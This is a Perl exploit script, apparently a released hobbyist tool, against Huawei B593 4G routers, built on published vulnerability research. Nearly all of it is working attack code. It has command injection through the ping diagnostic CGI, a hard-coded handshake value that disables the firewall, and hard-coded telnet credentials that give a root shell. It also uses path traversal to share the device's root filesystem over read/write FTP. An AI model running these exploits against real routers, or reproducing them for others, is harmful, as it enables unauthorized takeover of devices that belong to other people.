#!/usr/bin/perl -w --

# Copyright (c) 2013-2014 Jari Turkia (jatu@hqcodeshop.fi)

# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

# Exploit research by Mr. J. Ronkainen
# http://blog.asiantuntijakaveri.fi/2014/08/huapwn-backdoor-on-your-huawei-b593u.html
# http://blog.asiantuntijakaveri.fi/2013/08/gaining-root-shell-on-huawei-b593-4g.html

# Version history:
# 0.3	13th Dec 2014	Added first s-22 exploit, thanks to Ilkka about that
# 0.2	15th Sep 2014	Renamed to B593_exploit.pl
#                       Added telnet-exploit
# 0.1	19th Nov 2013	Initial version of B593cmd.pl
#

use LWP::UserAgent;;
use HTTP::Cookies;
use Cwd 'abs_path';
use File::Basename;
use MIME::Base64;
use Data::Dumper;
use URI::Escape;
use Net::Telnet;
use Term::ReadLine;
use Getopt::Long;
use Math::BigInt;
use Crypt::RSA;     # B593 s-22 uses encryption for logins (not needed for u-12)

use strict;
use utf8;


#
# Global variables
#

# B593 s-22 RSA-keys are at: http://$B593_host/js/rsa.js
my $RSA_public_modulus = "BEB90F8AF5D8A7C7DA8CA74AC43E1EE8A48E6860C0D46A5D690BEA082E3A74E1571F2C58E94EE339862A49A811A31BB4A48F41B3BCDFD054C3443BB610B5418B3CBAFAE7936E1BE2AFD2E0DF865A6E59C2B8DF1E8D5702567D0A9650CB07A43DE39020969DF0997FCA587D9A8AE4627CF18477EC06765DF3AA8FB459DD4C9AF3";
my $RSA_public_exponent = 10001;    # Also hex

#
# Print some help for user (who is lost)
#
sub Usage(;$)
{
    my ($message) = @_;

    print $message if ($message);
    print <<HTML;
Usage: B593_exploit.pl
--help|-h       This help
--run-cmd       u-12 Run a command: pre SP-100 ping-exploit
                to run any command via web-console
--telnet-login  u-12 Login via telnet: lift IPtables firewall from telnet and login
--ftp-setup     s-22 FTP-setup: add new FTP-share from device root /

HTML
}

#
# Log user in with a password
# Return 1 (true) on success
#
sub LoginWebGui($$$)
{
    my ($ua, $host, $encoded_pwd) = @_;
    my $POST_url = "http://$host/index/logout.cgi";

    # Attempt logout
    my $response = $ua->post($POST_url);
    return 0 unless $response->is_success;

    # Attempt login
    $POST_url = "http://$host/index/login.cgi";
    my %params = ( 'Username' => 'admin',
                    'Password' => $encoded_pwd
                );
    $response = $ua->post($POST_url, \%params);
    return 0 unless $response->is_success;

    $ua->cookie_jar()->extract_cookies($response);	
	return 0 unless exists($ua->cookie_jar()->{COOKIES}{$host}{'/'}{'SessionID_R3'});

	my $sessionID_ref = $ua->cookie_jar()->{COOKIES}{$host}{'/'}{'SessionID_R3'};
    warn "Got session id: " . $$sessionID_ref[1] if ($::debug);
	return 0 unless $$sessionID_ref[1] > 0;

	return 1;
}

#
# Do send a command via web-interface Ping-exploit
#
sub DoSendCommand(\$$$)
{
    my ($ua_ref, $host, $cmd) = @_;
	die "Cannot send pipe-char (|) in a command!" if ($cmd =~ /\|/);
	
    my $POST_url = "http://$host/html/management/excutecmd.cgi?cmd=ping|;";
	my $cmd_encoded = $cmd;
	$cmd_encoded =~ s/ /|/g;	# Spaces are pipes
	$POST_url .= uri_escape($cmd_encoded);
	$POST_url .= "&RequestFile=/html/management/diagnose.asp";

    my $response = $$ua_ref->post($POST_url);
    warn "Command status is " . $response->code if ($::debug);
    return 0 unless $response->is_success;

	sleep(1);	# Wait for 1 second for the command to complete.
	my $GET_url = "http://$host/html/management/pingresult.asp";
    $response = $$ua_ref->get($GET_url);
    warn "Request result status is " . $response->code if ($::debug);
    return 0 unless $response->is_success;

	my $cmd_output = $response->content();
    warn "Got response " . $cmd_output if ($::debug > 1);
	if ($cmd_output !~ /"(.*)("\|__finshed__)/s) {   # Yep, it's a typo in Huawei's web interface
        warn "Failed to parse response. The unit is not a u-12 or the flaw is fixed in this firmware." if ($::debug);
        return "";
    }
    $cmd_output = $1;
	$cmd_output =~ s/\\n" \+ "/\n/g;
	
	# Something went wrong with the command output
	return $cmd_output;
}

#
# u-12 pre SP-100
# Attempt sending a command to ping-exploit
#
sub SendCommand($$$)
{
    my ($B593_host, $admin_password, $cmd_to_run) = @_;

    my $ua = _GetUA($B593_host);

    # Password is sent Base64 encoded
    my $encoded_pwd = encode_base64($admin_password, '');  # No CR/LF at the end

    # Login
    die "Could not login!" if (!LoginWebGui($ua, $B593_host, $encoded_pwd));
    warn "Logged in ok" if ($::debug);

    # Execute a command
    print DoSendCommand($ua, $B593_host, $cmd_to_run);
}

#
# Get UA
#
sub _GetUA($)
{
    my ($B593_host) = @_;

    # Set up User-Agent for doing requests
    die "Weird script path: " . dirname(abs_path($0)) if (dirname(abs_path($0)) !~ m:^([\\/].+)$:);
    my $script_dir = $1;
    my $cookie_jar = HTTP::Cookies->new('file' => "$script_dir/cookies.txt",
                                        'autosave' => 1,		# save on destructor
                                        'ignore_discard' => 1);	# save all cookies, even session ones
    $cookie_jar->set_cookie(0, 'SessionID_R3', '0', '/', $B593_host, 80, 0, 0, 86400, 0);
    $cookie_jar->set_cookie(0, 'FirstMenu', 'Admin_0', '/', $B593_host, 80, 0, 0, 86400, 0);
    $cookie_jar->set_cookie(0, 'SecondMenu', 'Admin_0_0', '/', $B593_host, 80, 0, 0, 86400, 0);
    $cookie_jar->set_cookie(0, 'ThirdMenu', 'Admin_0_0_0', '/', $B593_host, 80, 0, 0, 86400, 0);
    $cookie_jar->set_cookie(0, 'Language', 'en', '/', $B593_host, 80, 0, 0, 86400, 0);

    my $ua = LWP::UserAgent->new;
    $ua->timeout(10);
    $ua->cookie_jar($cookie_jar);

    return $ua;
}

#
# u-12 pre SP-100
# Lift IPtables for telnet and login
#
sub LoginTelnet($)
{
    my ($B593_host) = @_;
    my $user = "admin";
    my $password = "HW4GCPE";   # Yes, for telnet it is hard-coded! :)

    my $timeout = 2;
    my $ua = LWP::UserAgent->new;
    $ua->timeout($timeout);
    my $POST_url = "http://$B593_host/portconfig.cgi";

    # Send command to lift iptables
    my %params = ('switch' => 0,
                    'handshakeFlag' => 'zzfdfwetljioi34004t50jodjgkjgjiyte894uifdug89h98y3hjhgjdgjuihjqq'   # yep, it is hard-coded
                );
    my $attempt_cnt = 0;
    my $telnet = new Net::Telnet(Timeout => $timeout);
    my $telnet_stat = 0;
    my $response;

    # Loop until IPtables is lifted and a telnet can be done
    do {
        if (++$attempt_cnt > 3 && $timeout < 5) {
            $timeout = 5;
            $ua->timeout($timeout);
        }
        print "Attempt $attempt_cnt telnetting to $B593_host\n";
        $telnet_stat = $telnet->open(Host =>    $B593_host,
                                    Port =>     23,
                                    Errmode =>  "return",
                                    Timeout =>  $timeout
                            );
        if (!$telnet_stat || $telnet_stat != 1) {
            $response = $ua->post($POST_url, \%params);
            if ($response->is_error && $response->message eq "read timeout") {
                warn "HTTP POST timed out, retrying ..." if ($::debug);
            } elsif ($response->is_error) {
                die "Failed to send handshake-parameter!";
            }
        }
    } while (!$telnet_stat);

    warn "Telnet open!" if ($::debug);

    $telnet->waitfor('/Login: $/');
    $telnet->print($user);
    warn "Sent login" if ($::debug);
    $telnet->waitfor('/Password:/');
    $telnet->print($password);
    warn "Sent password" if ($::debug);
    $telnet->waitfor('/ATP>$/');
    $telnet->print("shell");

    # We're in!
    my @output;
    my $prompt = "# ";
    my $term = Term::ReadLine->new('B593');
    @output = $telnet->waitfor('/' . $prompt . '$/');
    warn "At prompt" if ($::debug);
    my $beautified_line = join("", @output);
    $beautified_line =~ s/^shell.//s;
    $beautified_line =~ s/.# $//s;
    print $beautified_line;
    $telnet->prompt("/$prompt/");

    # Loop forever ... or until user presses ctrl-d
    while (defined($_ = $term->readline($prompt))) {
        @output = $telnet->cmd($_);
        print @output;
    }
}

#
# s-22 FTP-setup ../..
# This cannot be done via web GUI
#
sub FTPSetup($$$$)
{
    my ($B593_host, $admin_password, $FTP_user, $FTP_password) = @_;

    # Confirm FTP-user
    die "FTP password must have at least 8 characters!" if (length($FTP_password) < 8);

    my $ua = _GetUA($B593_host);
    my $response;

    # RSA-keys are at: http://$B593_host/js/rsa.js
    my $rsa = new Crypt::RSA(
                                ES => 'PKCS1v15',
                                SS => 'PKCS1v15',
                                KF => 'Native',
    );
    my $public_key = new Crypt::RSA::Key::Public();
    my $modulus = Math::BigInt->new('0x' . $RSA_public_modulus);
    $public_key->{n} = $modulus->bstr();
    $public_key->{e} = hex($RSA_public_exponent);
    my $encoded_pwd = $rsa->encrypt (
            Message    => $admin_password,
            Key        => $public_key,
            Armour     => 0,
        ) or
    die "RSA encryption of the password failed with: " . $rsa->errstr();
    $encoded_pwd = encode_base64($encoded_pwd, '');  # No CR/LF at the end

    # Login
    die "Could not login!" if (!LoginWebGui($ua, $B593_host, $encoded_pwd));
    warn "Logged in ok" if ($::debug);

    # Get list of USBs
	my $GET_url = "http://$B593_host/html/application/usbstorage.asp";
    $response = $ua->get($GET_url);
    warn "Request result status is " . $response->code if ($::debug);
    die "Failed to get list of USBs :-(" if (!$response->is_success());

    # Check that there is an USB-stick inserted
    my $usbstatus;
    my $storageDevice;
    my $usbDevice;
    foreach my $line (split(/\n/, $response->content)) {
        next if ($line !~ /^var usbstatus = \[(.+)\];/);
        $usbstatus = $1;
        last;
    }
    warn "Page didn't contain information about USB-sticks :-( Continuing." if ($usbstatus eq "");
    if ($usbstatus eq 'null') {
        die "There has been no USB-stick inserted since reboot! Won't continue";
    } elsif ($usbstatus =~ /^\["([^"]+)","([^"]+)","([^"]+)",/) {
        die "There is no USB-stick inserted! Won't continue" unless $3 eq "Online";
        $storageDevice = $1;
        $usbDevice = $2;
    } else {
        warn "Page contains garbled USB information :-( Continuing.";
    }

    my $POST_url = "http://$B593_host/html/application/usb.cgi?RequestFile=/html/application/usbuser.asp";
    my $params = {
                    'type'      => 0,   # Create?
                    '0'         => $FTP_user,
                    '1'         => $FTP_password,
                    '2'         => 1,
                    '4'         => "/$usbDevice/../..",   # Destination
                    '5'         => '-' . encode_base64('/' . $usbDevice . '/../..', ''), # The device to share
                    '6'         => 1,   # 0 = RO, 1 = R/W
                    '7'         => 0    # 0 = specific dir, 1 = all dir
                };
    $response = $ua->post($POST_url, $params);
    warn "Command status is " . $response->code if ($::debug);
    return 0 unless ($response->is_success);

    if ($response->content =~ m:/html/msgerrcode.asp:) {
        # Darn! It failed!
        die "failed :-(";
        my $GET_url = "http://$B593_host/html/msgerrcode.asp";
        $response = $ua->get($GET_url);
        die "error: " . $response->content;
    }

    return 0 unless ($response->content =~ m:/html/application/usbuser.asp:);

    print "Setup ok!n";
    return 1;
}

#
# Script begins here
#

# Parse parameters
my $mode_run_cmd = 0;
my $mode_telnet = 0;
my $mode_ftp_setup = 0;
my $mode_help = 0;
$::debug = 0;
my $result = GetOptions("run-cmd" => \$mode_run_cmd,        # flag
                        "telnet-login" => \$mode_telnet,    # flag
                        "ftp-setup" => \$mode_ftp_setup,    # flag
                        "help|h" => \$mode_help,            # flag
                        "debug+" => \$::debug,              # flag
				);
if ((!$mode_run_cmd && !$mode_telnet && !$mode_ftp_setup) || $mode_help) {
    Usage();
    exit(1);
}

if ($mode_run_cmd) {
    # Attempt to run a command via the leaky ping-interface
    if ($#ARGV < 2) {
        Usage("Need B593 hostname or IP, admin password and a command to execute on remote end!\n");
        exit(1);
    } else {
        SendCommand($ARGV[0], $ARGV[1], $ARGV[2]);
    }
} elsif ($mode_telnet) {
    # Attempt to do a telnet login
    if ($#ARGV < 0) {
        Usage("Need B593 hostname or IP!\n");
        exit(1);
    } else {
        # Regexp from http://stackoverflow.com/questions/9208814/validate-ipv4-ipv6-and-hostname
        die "Weird hostname" if ($ARGV[0] !~ /^((([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$|^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\-]*[A-Za-z0-9])$|^(?:(?:(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):){6})(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9]))\.){3}(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9])))))))|(?:(?:::(?:(?:(?:[0-9a-fA-F]{1,4})):){5})(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9]))\.){3}(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9])))))))|(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})))?::(?:(?:(?:[0-9a-fA-F]{1,4})):){4})(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9]))\.){3}(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9])))))))|(?:(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):){0,1}(?:(?:[0-9a-fA-F]{1,4})))?::(?:(?:(?:[0-9a-fA-F]{1,4})):){3})(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9]))\.){3}(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9])))))))|(?:(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):){0,2}(?:(?:[0-9a-fA-F]{1,4})))?::(?:(?:(?:[0-9a-fA-F]{1,4})):){2})(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9]))\.){3}(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9])))))))|(?:(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):){0,3}(?:(?:[0-9a-fA-F]{1,4})))?::(?:(?:[0-9a-fA-F]{1,4})):)(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9]))\.){3}(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9])))))))|(?:(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):){0,4}(?:(?:[0-9a-fA-F]{1,4})))?::)(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9]))\.){3}(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9])))))))|(?:(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):){0,5}(?:(?:[0-9a-fA-F]{1,4})))?::)(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):){0,6}(?:(?:[0-9a-fA-F]{1,4})))?::)))))$/);
        LoginTelnet($1);
    }
} elsif ($mode_ftp_setup) {
    # Attempt to do a telnet login
    if ($#ARGV < 3) {
        Usage("Need B593 hostname or IP and admin password! Also need FTP-username and password to be set for path.\n");
        exit(1);
    } else {
        FTPSetup($ARGV[0], $ARGV[1], $ARGV[2], $ARGV[3]);
    }
} else {
    Usage();
}

exit(0);
